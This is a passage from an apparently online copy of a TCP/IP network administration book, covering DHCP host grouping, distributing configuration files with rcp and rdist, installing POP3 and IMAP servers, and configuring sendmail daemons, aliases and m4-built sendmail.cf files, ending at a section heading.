A group statement groups together any other statements. The sole purpose of the group statement is to apply parameters and options to all members of the group. That is exactly what we do in the example. The group statement in the sample configuration groups all of the host statements together. The use-host-decl-names parameter in the group statement applies to every host in the group. This particular parameter tells dhcpd to assign each client the hostname that is declared on the host statement associated with that client, which makes the hostname option unnecessary for this configuration.

Given the sample dhcpd.conf file shown earlier, when dhcpd receives a BOOTREQUEST packet from a client with the Ethernet address 08:80:20:01:59:c3, it sends that client:

  • The address 172.16.12.2

  • The hostname peanut

  • The default router address 172.16.12.1

  • The broadcast address 172.16.12.255

  • The subnet mask 255.255.255.0

  • The domain name nuts.com

  • The domain name server addresses 172.16.12.1 and 172.16.3.5

  • The print server address 172.16.12.1

  • The MTU for an Ethernet interface

The client receives all global values, all subnet values and all host values that are appropriate. Clearly DHCP can provide a complete configuration.

Your DHCP configuration, though larger in the number of systems supported, probably is simpler than the example. Some commands appear in the sample primarily for the purpose of illustration. The biggest difference is that most sites do not serve more than one subnet with a single configuration server. Servers are normally placed on each subnet. This reduces the burden on the server, particularly the burden that can be caused by a network-wide power outage. It eliminates the need to move boot packets through routers. Also, the fact that addresses are assigned at the subnet level makes placing the system that does that assignment at the subnet level seem somehow more logical. In the next section we look at how to keep distributed servers updated.

Previous: 9.4 A BOOTP Server | TCP/IP Network Administration | Next: 9.6 Managing Distributed Servers
9.4 A BOOTP Server | Book Index | 9.6 Managing Distributed Servers


[Chapter 9] 9.6 Managing Distributed Servers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.5 DHCP Chapter 9
Configuring Network Servers 		Next: 9.7 Mail Servers

9.6 Managing Distributed Servers

Large networks have multiple servers. As noted earlier, the servers are often distributed around the network with a server on every subnet. This improves booting efficiency, but it conflicts with the goal of central configuration control. The more servers, the more dispersed the control, and the more likely that a configuration error will occur. Implementing distributed servers requires a technique for maintaining central control and coordinating configuration information among the servers. TCP/IP offers several techniques for doing this.

Any file transfer protocol can be used to move configuration data, or any other kind of data, from a central system to a group of distributed systems. Either FTP or TFTP will work, but both of these protocols present difficulties when used in this way. FTP and TFTP are interactive protocols; both require multiple commands to retrieve a file, making them difficult to script. Additionally, FTP requires password authentication before it grants access to a file and most security experts frown on storing passwords inside of scripts. For these reasons we don't concentrate on using these protocols to distribute the configuration file. Besides, if you know how to use FTP (and you should!), you know how to use it to send a configuration file.

Another possibility is to use Network File System (NFS) to distribute the information. NFS allows files on the server to be used by clients as if they are local files. It is a powerful tool, but it does have limitations when used to distribute configuration information to boot servers. The same power outage that affects the distributed servers can cause the central server to crash. The distributed servers and their clients can be delayed in booting waiting for the central server to come back online. Sharing a single copy of the configuration file conflicts with the effort to distribute boot services because it puts too much reliance on the central server.

One way to avoid this problem is for the distributed servers to periodically copy the configuration file from the mounted filesystem to a local disk. This is very simple to script, but it creates the possibility that the servers will be "out of sync" at certain times - the distributed servers copy the configuration file on a periodic schedule without knowing if, in the interim, the master file has been updated. Of course, it is possible for all of the remote servers to export filesystems that the central server mounts. It is then possible for the central server to copy the configuration file directly to the remote filesystems whenever the master file is updated. However, there are easier ways to do this.

The UNIX r-commands rcp and rdist provide the most popular methods for distributing the configuration file.

Remote copy (rcp) is simply a file transfer protocol. It has two advantages over FTP for this particular application: it is easy to script and it does not require a password. rcp is easy to script because only a single line is needed to complete a transfer. An example of transferring the file bootptab from the master server to a remote server named pistachio.nuts.com is:

# rcp /etc/bootptab pistachio.nuts.com:/etc/bootptab

For every remote server that the file is sent to, add a line like the one shown above to the procedure that updates the master configuration file.

rcp is only one choice for distributing the central configuration file. rdist, while a little harder to use, is often a better choice because it has several features that make it particularly well suited for this application.

9.6.1 rdist

The Remote File Distribution Program (rdist) is designed to maintain identical copies of files on multiple hosts. A single rdist command can distribute several different files to many different hosts. It does this by following the instructions stored in an rdist configuration files called a Distfile.

The function of a Distfile is similar to that of the Makefile used by the make command, and it has a similar syntax and structure. Now, don't panic! It's not that bad. The initial configuration of an rdist command is more difficult than the straightforward syntax of an rcp command, but the rdist command provides much more control and is much easier to maintain in the long run.

A Distfile is composed of macros and primitives. Macros can be assigned a single value or a list of values. If a list of values is used, the list is enclosed in parentheses, e.g., macro = ( value value ). Once assigned a value, the macro is referenced using the syntax ${macro}, where macro is the name of the macro. The other components of a Distfile, the primitives, are explained in Table 9.4 [11]

[11] For more details, see the rdist manpage.

Table 9.4: rdist Primitives
Primitive | Description
install | Recursively updates files and directories.
notify address | Sends error/status mail messages to address.
except file | Omits file from the update.
except_pat pattern | Omits filenames that match the pattern.
special "command" | Executes command after each file update.

The simplest way to understand how the primitives and macros are combined to make a functioning Distfile is to look at a sample. The following configuration file distributes the current version of bootpd and the latest bootptab configuration file to the remote boot servers pecan, pistachio, and cashew:

HOSTS = ( pecan root@cashew pistachio )
FILES = ( /usr/etc/bootpd /etc/bootptab )

${FILES} -> ${HOSTS}
       install ;
       notify craig@almond.nuts.com

Let's look at each line of the file:

HOSTS = ( pecan root@cashew pistachio )

This line defines HOSTS, a macro that contains the hostname of each of the remote servers. Notice the entry for cashew. It tells rdist to login as root on cashew to perform the update. On pecan and pistachio, rdist will run under the same username it has on the local host.

FILES = ( /usr/etc/bootpd /etc/bootptab )

This macro, FILES, defines the two files that will be sent.

${FILES} -> ${HOSTS}

The -> symbol has a special meaning to rdist. It tells rdist to copy the files named at the left of the symbol to the hosts named at the right. In this case FILES is a macro that contains the file names /usr/etc/bootpd and /etc/bootptab, and HOSTS is a macro that contains the hostnames pecan, cashew, and pistachio. Therefore this command tells rdist to copy two files to three different hosts. Any primitives that follow apply to this file-to-host mapping.

install ;

The install primitive explicitly tells rdist to copy the specified files to the specified hosts if the corresponding file is out-of-date on the remote host. A file is considered "out-of-date" if the creation date or the size is not the same as the master file. The semicolon at the end of this line indicates that another primitive follows.

notify craig@almond.nuts.com

Status and error messages are to be mailed to craig@almond.nuts.com.

Additional files and hosts can be easily added to this file. In the long run most people find rdist the simplest way to distribute multiple files to multiple hosts.

One final note: the configuration file does not have to be called Distfile. Any file name can be specified on the rdist command line using the -f option. For example, the Distfile shown above could be saved under the name bootp.dist and invoked with the following command:

% rdist -f bootp.dist

Previous: 9.5 DHCP | TCP/IP Network Administration | Next: 9.7 Mail Servers
9.5 DHCP | Book Index | 9.7 Mail Servers


[Chapter 9] 9.7 Mail Servers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.6 Managing Distributed Servers Chapter 9
Configuring Network Servers 		Next: 9.8 Summary

9.7 Mail Servers

In this section we configure a system to act as a post office server. A post office server, or mailbox server, is a computer that holds mail for a client computer until the client is ready to download it for the mail reader. This service is essential to support mobile users and to support small systems that are frequently offline and thus not able to receive mail in real time. We look at two techniques for creating a mailbox server: Post Office Protocol (POP), which is the most popular protocol for this purpose, and Internet Message Access Protocol (IMAP), which is growing in popularity. We start with POP.

9.7.1 POP Server

A UNIX host turns into a POP mail server when it runs a POP daemon. Check your system's documentation to see if a POP daemon is included in the system software. If it isn't clear from the documentation, check the inetd.conf file, or try the simple telnet test from Chapter 4. If the server responds to the telnet test, not only is the daemon available on your system, it is installed and ready to run.

% telnet localhost 110
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is ']'.
+OK POP3 almond Server (Version 1.004) ready
quit
+OK POP3 almond Server (Version 1.001) shutdown
Connection closed by foreign host.

This example is from a Linux system, which comes with POP3 ready to run. The Solaris system, on the other hand, does not ship with POP2 or POP3. Don't worry if your system doesn't include this software. POP3 software is available from several sites on the Internet where it is stored in both the popper17.tar and the pop3d.tar files. I have used them both and they both work fine.

If you don't have POP3 on your system, download the source code. Extract it using the UNIX tar command. pop3d.tar creates a directory called pop3d under the current directory, but popper17.tar does not. If you decide to use popper, create a new directory before extracting it with tar. Edit the Makefile to configure it for your system and do a make to compile the POP3 daemon. If it compiles without errors, install the daemon in a system directory.

Most network daemons are started by the Internet daemon, inetd. POP3 is no exception. Start POP3 from inetd by placing the following in the inetd.conf file:

pop3   stream  tcp     nowait  root    /etc/pop3d              pop3d

This entry assumes you are using pop3d, that you placed the executable in the /etc directory, and that the port for this daemon is identified in the /etc/services file by the name pop3. If these things aren't true, adjust the entry accordingly.

Make sure that POP3 is actually defined in /etc/services. If it isn't, add the following line to that file:

pop3         110/tcp              # Post Office Version 3

Once the lines are added to the services file and the inetd.conf file, send a SIGHUP to inetd to force it to read the new configuration, as in this example:

# ps -ef | grep inetd
  root  109  1  0   Jun 09 ?   0:01 /usr/sbin/inetd -s
# kill -HUP 109

Now that POP3 is installed, rerun the test using telnet localhost pop-3. If the POP3 daemon answers, you're in business. All users who have a valid user account on the system are now able to download mail via POP3 or read the mail directly on the server.

9.7.2 IMAP Server

Internet Message Access Protocol (IMAP) is an alternative to POP. It provides the same basic service as POP and adds features to support mailbox synchronization. Mailbox synchronization is the ability to read mail on a client or directly on the server while keeping the mailboxes on both systems completely up-to-date. On an average POP server, the entire contents of the mailbox are moved to the client and either deleted from the server or retained as if never read. Deletion of individual messages on the client is not reflected on the server because all of the messages are treated as a single unit that is either deleted or retained after the initial transfer of data to the client. IMAP provides the ability to manipulate individual messages on either the client or the server and to have those changes reflected in the mailboxes of both systems.

IMAP is not a new protocol - it is about as old as POP3. Nor is IMAP completely standardized. There have been four distinct versions of IMAP: IMAP, IMAP2, IMAP3, and the current version IMAP4. New RFCs about IMAP are still being issued. There are currently more than 10. The fear that IMAP is still in flux and that it is difficult to implement has discouraged some vendors, so it is not as widely implemented as POP. This is changing, however. The growing importance of email as a means of communicating, even when people are out of the office, increases the need for a mailbox that can be read and maintained from anywhere. The number of IMAP implementations is rising. Sun sells one for Solaris, another comes with Slackware 96 Linux in the /usr/sbin/imapd file, and IMAP source code can be obtained via anonymous FTP from ftp.cac.washington.edu. We use the University of Washington source code to update IMAP on our Linux system for the examples in this section.

Download /mail/imap.tar.Z from ftp.cac.washington.edu as a binary image. Uncompress and untar the file. This creates a directory containing the source code and Makefile needed to build IMAP. [12] Read the Makefile carefully. It supports many versions of UNIX. If you find yours listed in the Makefile, use the three-character operating system type listed there. For our Linux system we entered:

[12] The name of the directory tells you the current release level of the software. At this writing it is imap-4.1.BETA.

# make lnx

If it compiles without error, as it does on our Linux system, it produces three daemons: ipop2d, ipop3d, and imapd. We are familiar with installing POP2 and POP3. The new one is imapd. Install it in /etc/services:

imap      143/tcp       # IMAP version 4

Also add it to /etc/inetd:

imap  stream  tcp  nowait  root  /usr/sbin/imapd  imapd

Now basic IMAP service is available to every user with an account on the server.

A nice feature of the University of Washington package is that it provides implementations of POP2 and POP3 as well as IMAP. This is important because most email clients run POP3. [13] The IMAP server can only be accessed by an IMAP client. Installing POP2 and POP3 along with IMAP gives you the chance to evaluate IMAP and to provide it for your adventurous users while still supporting the majority of users.

[13] The pine mail client supports IMAP.

POP and IMAP are mail access servers. There is a great deal more to configuring a complete email system, as we will see in the next chapter.

Previous: 9.6 Managing Distributed Servers | TCP/IP Network Administration | Next: 9.8 Summary
9.6 Managing Distributed Servers | Book Index | 9.8 Summary


[Chapter 9] 9.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.7 Mail Servers Chapter 9
Configuring Network Servers 		Next: 10. sendmail

9.8 Summary

This chapter covers several important TCP/IP network services.

Network File System (NFS) is the leading TCP/IP file-sharing protocol. It allows server systems to share directories with clients that are then used by the clients as if they were local disk drives. NFS uses trusted hosts and UNIX UIDs and GIDs for authentication and authorization. pcnfsd provides password-based user authentication and NFS-based printer sharing for non-UNIX clients.

NFS-based printer sharing is not the only type of printer sharing available on a TCP/IP network. It is also possible to use the Line Printer Daemon (LPD). This software is originally from BSD UNIX but is widely available. The lpd program reads the printer definitions from the printcap file.

Network Information Service (NIS) is a server that distributes several system administrations databases. It allows central control of and automatic distribution of important system configuration information.

Bootstrap Protocol provides a wide range of configuration values to its client. Each implementation of BOOTP has a different configuration file and command syntax. The CMU BOOTP server stores configuration parameters in the /etc/bootptab file and uses a syntax very similar to the /etc/printcap syntax.

Dynamic Host Configuration Protocol (DHCP) extends BOOTP to provide the full set of configuration parameters defined in the Requirements for Internet Hosts RFC. It also provides for dynamic address allocation, which allows a network to make maximum use of a limited set of addresses.

Large networks use distributed boot servers to avoid overloading a single server and to avoid sending boot parameters through IP routers. The configuration files on distributed boot servers are kept synchronized through file transfer, NFS file sharing, or the Remote File Distribution Program (rdist).

Post Office Protocol (POP) and Internet Message Access Protocol (IMAP) servers allow email to be stored on the mail server until the user is ready to read it. In the next chapter, we take a closer look at configuring an electronic mail system as we explore sendmail.

Previous: 9.7 Mail Servers | TCP/IP Network Administration | Next: 10. sendmail
9.7 Mail Servers | Book Index | 10. sendmail


[Chapter 10] sendmail

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.8 Summary Chapter 10 Next: 10.2 Running sendmail as a Daemon

10. sendmail

Contents:
sendmail's Function
Running sendmail as a Daemon
sendmail Aliases
The sendmail.cf File
sendmail Configuration
Rewriting the Mail Address
Modifying a sendmail.cf File
Testing sendmail.cf
Summary

Users have a love-hate relationship with email; they love to use it, and hate when it doesn't work. It's the system administrator's job to make sure it does work. That is the job we tackle in this chapter.

sendmail is not the only mail transport program. MMDF (Multichannel Memorandum Distribution Facility) predates sendmail and is still used today. There are also variations of basic sendmail, such as IDA sendmail, that are widely used. But plain sendmail is the most widely used mail transport program, and it's the one we cover.

This entire chapter is devoted to sendmail, and an entire book is easily devoted to the subject. [1] In part this is because of email's importance, but it is also because sendmail has a complex configuration.

[1] See sendmail, by Costales and Allman (O'Reilly & Associates), for a book-length treatment of sendmail.

The variety of programs and protocols used for email complicates configuration and support. SMTP sends email over TCP/IP networks. Another program sends mail between users on the same system. Still another sends mail between systems on UUCP networks. Each of these mail systems - SMTP, UUCP, and local mail - has its own delivery program and its own mail addressing scheme. All of this can cause confusion for mail users and for system administrators.

10.1 sendmail's Function

sendmail eliminates some of the confusion caused by multiple mail delivery programs. It does this by routing mail for the user to the proper delivery program based on the email address. It accepts mail from a user's mail program, interprets the mail address, rewrites the address into the proper form for the delivery program, and routes the mail to the correct delivery program. sendmail insulates the end user from these details. If the mail is properly addressed, sendmail will see that it is properly passed on for delivery. Likewise, for incoming mail, sendmail interprets the address and either delivers the mail to a user's mail program or forwards it to another system.

Figure 10.1 illustrates sendmail's special role in routing mail between the various mail programs found on UNIX systems.

Figure 10.1: Mail is routed through sendmail

In addition to routing mail between user programs and delivery programs, sendmail:

  • Receives and delivers SMTP (internet) mail

  • Provides system-wide mail aliases, which allow mailing lists

Configuring a system to perform all of these functions properly is a complex task. In this chapter we discuss each of these functions, look at how they are configured, and examine ways to simplify the task. First, we'll see how sendmail is run to receive SMTP mail. Then we'll see how mail aliases are used, and how sendmail is configured to route mail based on the mail's address.

Previous: 9.8 Summary | TCP/IP Network Administration | Next: 10.2 Running sendmail as a Daemon
9.8 Summary | Book Index | 10.2 Running sendmail as a Daemon


[Chapter 10] 10.2 Running sendmail as a Daemon

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.1 sendmail's Function Chapter 10
sendmail 		Next: 10.3 sendmail Aliases

10.2 Running sendmail as a Daemon

To receive SMTP mail from the network, run sendmail as a daemon during system startup. The sendmail daemon listens to TCP port 25 and processes incoming mail. In most cases the code to start sendmail is already in one of your boot scripts. If it isn't, add it. The following code is from the Slackware Linux /etc/rc.d/rc.M startup script:

# Start the sendmail daemon:
if [ -x /usr/sbin/sendmail ]; then
  echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -q 15m)..."
  /usr/sbin/sendmail -bd -q 15m
fi

First, this code checks for the existence of the sendmail program. If the program is found, the code displays a startup message on the console and runs sendmail with two command-line options. One option, the -q option, tells sendmail how often to process the mail queue. In the sample code, the queue is processed every 15 minutes (-q15m), which is a good setting to process the queue frequently. Don't set this time too low. Processing the queue too often can cause problems if the queue grows very large, due to a delivery problem such as a network outage. For the average desktop system, every hour (-q1h) or half hour (-q30m) is an adequate setting.

The other option relates directly to receiving SMTP mail. The option (-bd) tells sendmail to run as a daemon and to listen to TCP port 25 for incoming mail. Use this option if you want your system to accept incoming TCP/IP mail.

The Linux example is a simple one. Some systems have a more complex startup script. Solaris 2.5, which dedicates the entire /etc/init.d/sendmail script to starting sendmail, is a notable example. The mail queue directory holds mail that has not yet been delivered. It is possible that the system went down while the mail queue was being processed. Versions of sendmail prior to sendmail V8, such as the version that comes with Solaris 2.5, create lock files when processing the queue. Therefore lock files may have been left behind inadvertently and should be removed during the boot. Solaris checks for the existence of the mail queue directory and removes any lock files found there. If a mail queue directory doesn't exist, it creates one. The additional code found in some startup scripts is not required when running sendmail V8. All you really need is the sendmail command with the -bd option.

Previous: 10.1 sendmail's Function | TCP/IP Network Administration | Next: 10.3 sendmail Aliases
10.1 sendmail's Function | Book Index | 10.3 sendmail Aliases


[Chapter 10] 10.3 sendmail Aliases

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.2 Running sendmail as a Daemon Chapter 10
sendmail 		Next: 10.4 The sendmail.cf File

10.3 sendmail Aliases

It is almost impossible to exaggerate the importance of mail aliases. Without them, a sendmail system could not act as a central mail server. Mail aliases provide for:

  • Alternate names (nicknames) for individual users

  • Forwarding of mail to other hosts

  • Mailing lists

sendmail mail aliases are defined in the aliases file. [2] The basic format of entries in the aliases file is:

[2] The location of the file is defined in the "Options" section of the sendmail configuration file.

alias: recipient[, recipient,...]

alias is the name to which the mail is addressed, and recipient is the name to which the mail is delivered. recipient can be a username, the name of another alias, or a full email address containing both a username and a hostname. Including a hostname allows mail to be forwarded to a remote host. Additionally, there can be multiple recipients for a single alias. Mail addressed to that alias is delivered to all of the recipients, thus creating a mailing list.

Aliases that define nicknames for individual users can be used to handle frequently misspelled names. You can also use aliases to deliver mail addressed to special names, such as postmaster or root, to the real users that do those jobs. Aliases can also be used to implement simplified mail addressing, especially when used in conjunction with MX records. [3] This aliases file from almond shows all of these uses:

[3] Chapter 8, Configuring DNS Name Service , discusses MX records.

# special names
postmaster: clark
root: norman
# accept firstname.lastname@nuts.com
rebecca.hunt: becky@peanut
jessie.mccafferty: jessie@walnut
anthony.resnick: anthony@pecan
andy.wright: andy@filbert
# a mailing list
admin: kathy, david@peanut, sara@pecan, becky@peanut, craig,
       anna@peanut, jane@peanut, christy@filbert
owner-admin: admin-request
admin-request: craig

The first two aliases are special names. Using these aliases, mail addressed to postmaster is delivered to the local user clark, and mail addressed to root is delivered to norman.

The second set of aliases is in the form of firstname and lastname. The first alias in this group is rebecca.hunt. Mail addressed to rebecca.hunt is forwarded from almond and delivered to becky@peanut. Combine this alias with an MX record that names almond as the mail server for nuts.com, and mail addressed to rebecca.hunt@nuts.com is delivered to becky@peanut.nuts.com. This type of addressing scheme allows each user to advertise a consistent mailing address that does not change just because the user's account moves to another host. Additionally, if a remote user knows that this firstname.lastname addressing scheme is used at nuts.com, he can address mail to Rebecca Hunt as rebecca.hunt@nuts.com without knowing her real email address.

The last two aliases are for a mailing list. The alias admin defines the list itself. If mail is sent to admin, a copy of the mail is sent to each of the recipients (kathy, david, sara, becky, craig, anna, jane, and christy). Note that the mailing list continues across multiple lines. A line that starts with a blank or a tab is a continuation line.

The owner-admin alias is a special form used by sendmail. The format of this special alias is owner-listname where listname is the name of a mailing list. The person specified on this alias line is responsible for the list identified by listname. If sendmail has problems delivering mail to any of the recipients in the admin list, an error message is sent to owner-admin. The owner-admin alias points to admin-request as the person responsible for maintaining the mailing list admin. Aliases in the form of listname-request are commonly used for administrative requests, such as subscribing to a list, for manually maintained mailing lists. Notice that we point an alias to another alias, which is perfectly legal. The admin-request alias resolves to craig.

sendmail does not use the aliases file directly. The aliases file must first be processed by the newaliases command. newaliases is equivalent to sendmail with the -bi option, which causes sendmail to build the aliases database. newaliases creates the database files that are used by sendmail when it is searching for aliases. Invoke newaliases after updating the aliases file to make sure that sendmail is able to use the new aliases. [4]

[4] If the D option is used (see Appendix E, A sendmail Reference), sendmail automatically rebuilds the aliases database - even if newaliases is not run.

10.3.1 Personal mail forwarding

In addition to the mail forwarding provided by aliases, sendmail allows individual users to define their own forwarding. The user defines her personal forwarding in the .forward file in her home directory. sendmail checks for this file after using the aliases file and before making final delivery to the user. If the .forward file exists, sendmail delivers the mail as directed by that file. For example, say that user kathy has a .forward file in her home directory that contains kathy@podunk.edu. The mail that sendmail would normally deliver to the local user kathy is forwarded to kathy's account at podunk.edu.

Use the .forward file for temporary forwarding. Modifying aliases and rebuilding the database takes more effort than modifying a .forward file, particularly if the forwarding change will be short-lived. Additionally, the .forward file puts the user in charge of his own mail forwarding.

Mail aliases and mail forwarding are handled by the aliases file and the .forward file. Everything else about the sendmail configuration is handled in the sendmail.cf file.

Previous: 10.2 Running sendmail as a Daemon | TCP/IP Network Administration | Next: 10.4 The sendmail.cf File
10.2 Running sendmail as a Daemon | Book Index | 10.4 The sendmail.cf File


[Chapter 10] 10.4 The sendmail.cf File

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.3 sendmail Aliases Chapter 10
sendmail 		Next: 10.5 sendmail Configuration

10.4 The sendmail.cf File

The sendmail configuration file is sendmail.cf. [5] It contains most of the sendmail configuration, including the information required to route mail between the user mail programs and the mail delivery programs. The sendmail.cf file has three main functions:

[5] The default location for the configuration file is the /etc directory, but it is often placed in other directories, such as /etc/mail and /usr/lib.

  • It defines the sendmail environment.

  • It rewrites addresses into the appropriate syntax for the receiving mailer.

  • It maps addresses into the instructions necessary to deliver the mail.

Several commands are necessary to perform all of these functions. Macro definitions and option commands define the environment. Rewrite rules rewrite email addresses. Mailer definitions define the instructions necessary to deliver the mail. The terse syntax of these commands makes most system administrators reluctant to read a sendmail.cf file, let alone write one! Fortunately, you can avoid writing your own sendmail.cf file, and we'll show you how.

10.4.1 Locating a Sample sendmail.cf File

There is rarely any good reason to write a sendmail.cf file from scratch. Locate an existing file with a configuration similar to your system's and modify it. That's how you configure sendmail, and that's what we discuss in this section.

Sample configuration files are delivered with most systems' software. Some system administrators use the configuration file that comes with the system and make small modifications to it to handle site-specific configuration requirements. We cover this approach to sendmail configuration later in this chapter.

Other system administrators prefer to use the latest version of sendmail. They download the sendmail.tar file and use the m4 source files it contains to build a sendmail.cf file. The samples that come with your system are adequate only if you also use the sendmail executable that comes with your system. If you update sendmail, use the m4 source files that are compatible with the updated version of sendmail.

The tar file can be downloaded via anonymous ftp from ftp.sendmail.org. [6] Login and change to the pub/sendmail directory. This displays a list of the available versions of sendmail. See Appendix E, for an example of downloading and installing the sendmail distribution.

[6] Even if your UNIX system comes with its own version of sendmail, obtain the tar file for the useful documentation it contains, e.g., the Sendmail Installation and Operation Guide, by Eric Allman.

The sendmail cf/cf directory contains several sample configuration files. Several of these are generic files preconfigured for different operating systems. The cf/cf directory on my system contains generic configurations for BSD, Solaris, SunOS, HP Unix, Ultrix, OSF1, and Next Step. The directory also contains a few prototype files designed to be easily modified and used for other operating systems. We will modify the tcpproto.mc file, which is for systems that have direct TCP/IP network connections and no direct UUCP connections, to run on our Linux system.

10.4.1.1 Building a sendmail.cf with m4 macros

The prototype files that come with the sendmail tar are not "ready to run." They must be edited and then processed by the m4 macro processor to produce the actual configuration files. For example, the tcpproto.mc file contains the following macros:

divert(0)dnl
VERSIONID(`@(#)tcpproto.mc	8.5 (Berkeley) 3/23/96')
OSTYPE(unknown)
FEATURE(nouucp)
MAILER(local)
MAILER(smtp)

These macros are not sendmail commands; they are input for the m4 macro processor. The few lines shown above are the important lines in the tcpproto.mc file. They are preceded by a section of comments, not shown here, that is discarded by m4 because it follows a divert(-1) command, which diverts the output to the "bit bucket." This section of the file begins with a divert(0) command that means these commands should be processed and that the results should be directed to standard output. [7]

[7] The dnl option is used to prevent excessive blank lines from appearing in the output file. It affects the appearance, but not the function, of the output file. dnl can appear at the end of any macro command.

The VERSIONID macro is used for version control. Usually the value passed in the macro call is a version number in RCS (Release Control System) or SCCS (Source Code Control System) format. This macro is optional and we just ignore it.

The OSTYPE macro defines operating system-specific information for the sendmail.cf file. The cf/ostype directory contains more than 30 pre-defined operating system macro files. The OSTYPE macro is required and the value passed in the OSTYPE macro call must match the name of one of the files in the directory. Examples of values are: bsd4.4, solaris2, and linux.

The FEATURE macro defines optional features to be included in the sendmail.cf file. The nouucp feature in the sample shown above says that no special UUCP address processing is to be included in the output file. Recall that in the previous section we identified tcpproto.mc as the prototype file for systems that have no UUCP connections. Another prototype file would have different FEATURE values.

The prototype file ends with the mailer macros. These must be the last macros in the input file. The sample shown above specifies the local mailer macro, which adds the local mailer and the prog mailer to the output, and the smtp mailer macro, which adds mailers for SMTP, Extended SMTP, 8-bit SMTP and relayed mail. All of these mailers are described later in this chapter.

To create a sample sendmail.cf for a Linux system from the tcpproto.mc prototype file, copy the prototype file to a work file. Edit the work file by changing the OSTYPE line from unknown to linux to specify the correct operating system. In the example we use sed to change unknown to linux. We store the result in a file we call linux.mc:

# sed 's/unknown/linux/' < tcpproto.mc > linux.mc

Then enter the m4 command:

# m4 ../m4/cf.m4 linux.mc > sendmail.cf

The sendmail.cf file output by the m4 command is in the correct format to be read by the sendmail program. [8] In fact, the output file produced above is almost identical to the sample linux.smtp.cf configuration file delivered with Linux.

[8] New syntax and functions in the latest version of the sendmail.cf file may not be supported by older versions of the sendmail program.

OSTYPE is not the only thing in the macro file that can be modified to create a custom configuration. There are a large number of configuration options, all of which are explained in Appendix E. As an example we modify a few options to create a custom configuration that converts user@host email addresses originating from our computer into firstname.lastname@domain. To do this, we create two new configuration files: a macro file with specific values for the domain that we name nuts.com.m4 and a modified macro control file, linux.mc, that calls the new nuts.com.m4 file.

We create the new macro file nuts.com.m4 and place it in the cf/domain directory. The new file contains the following:

MASQUERADE_AS(nuts.com)
FEATURE(masquerade_envelope)
FEATURE(genericstable)

These lines say that we want to hide the real hostname and display the name nuts.com in its place in outbound email addresses. Also, we want to do this on "envelope" addresses as well as message header addresses. The last line says that we will use the generic address conversion database, which converts login usernames to any value we wish. We must build the database by creating a text file with the data we want and processing that file through the makemap command that comes with sendmail V8.

The format of the database can be very simple:

dan Dan.Scribner@nuts.com
tyler Tyler.McCafferty@nuts.com
pat Pat.Stover@nuts.com
willy Bill.Wright@nuts.com
craig Craig.Hunt@nuts.com

Each line in the file has two fields: the first field is the key, which is the login name, and the second field is an email address containing the user's real first and last names separated by a dot. Fields are separated by spaces. Using this database, a query for dan will return the value Dan.Scribner@nuts.com. A small database such as this one can be easily built by hand. On a system with a large number of existing user accounts, you may want to automate this process by extracting the user's login name, and first and last names from the /etc/passwd file. The gcos field of the /etc/passwd file often contains the user's real name. [9] Once the data is in a text file convert it to a database with the makemap command. The makemap command is included in the sendmail V8 tar file. It requires the ndbm library. The syntax of the makemap command is:

[9] See Appendix E for a sample script that builds the realnames database from /etc/passwd.

makemap type name

makemap reads the standard input and writes the database out to a file it creates using the value provided by name as the filename. The type field identifies the database type. The most commonly supported database types for sendmail V8 are dbm, btree, and hash. [10] All of these types can be made with the makemap command.

[10] On Sun OS and Solaris systems, NIS maps and NIS+ tables are built with standard commands that come with those operating systems. The syntax for using those maps within sendmail is different (see Table 10-4). Networking Personal Computers with TCP/IP, by Craig Hunt (O'Reilly & Associates) provides an example of using a NIS map inside of sendmail.

Assume that the data shown above has been put in a file named realnames. The following command converts that file to a database:

# makemap hash genericstable < realnames

makemap reads the text file and produces a database file called genericstable. The database maps login names to real names, e.g., the key willy returns the value Bill.Wright@nuts.com.

Now that we have created the database, we create a new sendmail configuration file to use it. All of the m4 macros related to using the database are in the nuts.com.m4 file. We need to include that file in the configuration. To do that, add a DOMAIN(nuts.com) line to the macro control file (linux.mc) and then process the linux.mc through m4. The following grep command shows what the macros in the file look like after the change:

# grep '^[A-Z]' linux.mc
VERSIONID(`@(#)tcpproto.mc	8.5 (Berkeley) 3/23/96')
OSTYPE(linux)
DOMAIN(nuts.com)
FEATURE(nouucp)
MAILER(local)
MAILER(smtp)
# m4 ../m4/cf.m4 linux.mc > sendmail.cf

Use the prototype mc files as the starting point of your configuration if you install sendmail from the tar file. To use the latest version of sendmail you must build a compatible sendmail.cf file using the m4 macros. Don't attempt to use an old sendmail.cf file with a new version of sendmail. You'll just cause yourself grief. As you can see from the sample above, m4 configuration files are very short and can be constructed from only a few macros. Use m4 to build a fresh configuration every time you upgrade sendmail.

Conversely, you should not use a sendmail.cf file created from the prototype files found in the sendmail distribution with an old version of sendmail. Features in these files require that you run a compatible version of sendmail, which means it is necessary to recompile sendmail to use the new configuration file. [11] This is not something every system administrator will choose to do, because some systems don't have the correct libraries; others don't even have a C compiler! If you choose not to recompile sendmail, you can use the sample sendmail.cf file provided with your system as a starting point. However, if you have major changes planned for your configuration, it is probably easier to recompile sendmail and build a new configuration with m4 than it is to make major changes directly to the sendmail.cf.

[11] See Appendix E for information about compiling sendmail.

In the next part of this chapter, we use one of the sample sendmail.cf files provided with Linux. The specific file we start with is linux.smtp.cf found in the /usr/src/sendmail directory on the Slackware 96 version of Linux. All of the things that we discuss in the remainder of the chapter apply equally well to sendmail.cf files that are produced by m4. The structure of a sendmail.cf file, the commands that it contains, and the tools used to debug it are universal.

10.4.2 General sendmail.cf Structure

Many sendmail.cf files have more or less the same structure because most are descendants of a few original files. Therefore, the files provided with your system probably are similar to the ones used in our examples. Some systems use a different structure, but the functions of the sections described here will be found somewhere in most sendmail.cf files.

The Linux file, linux.smtp.cf, is our example of sendmail.cf file structure. The section labels from the sample file are used here to provide an overview of the sendmail.cf structure. These sections will be described in greater detail when we modify a sample configuration. The sections are:

Local Information

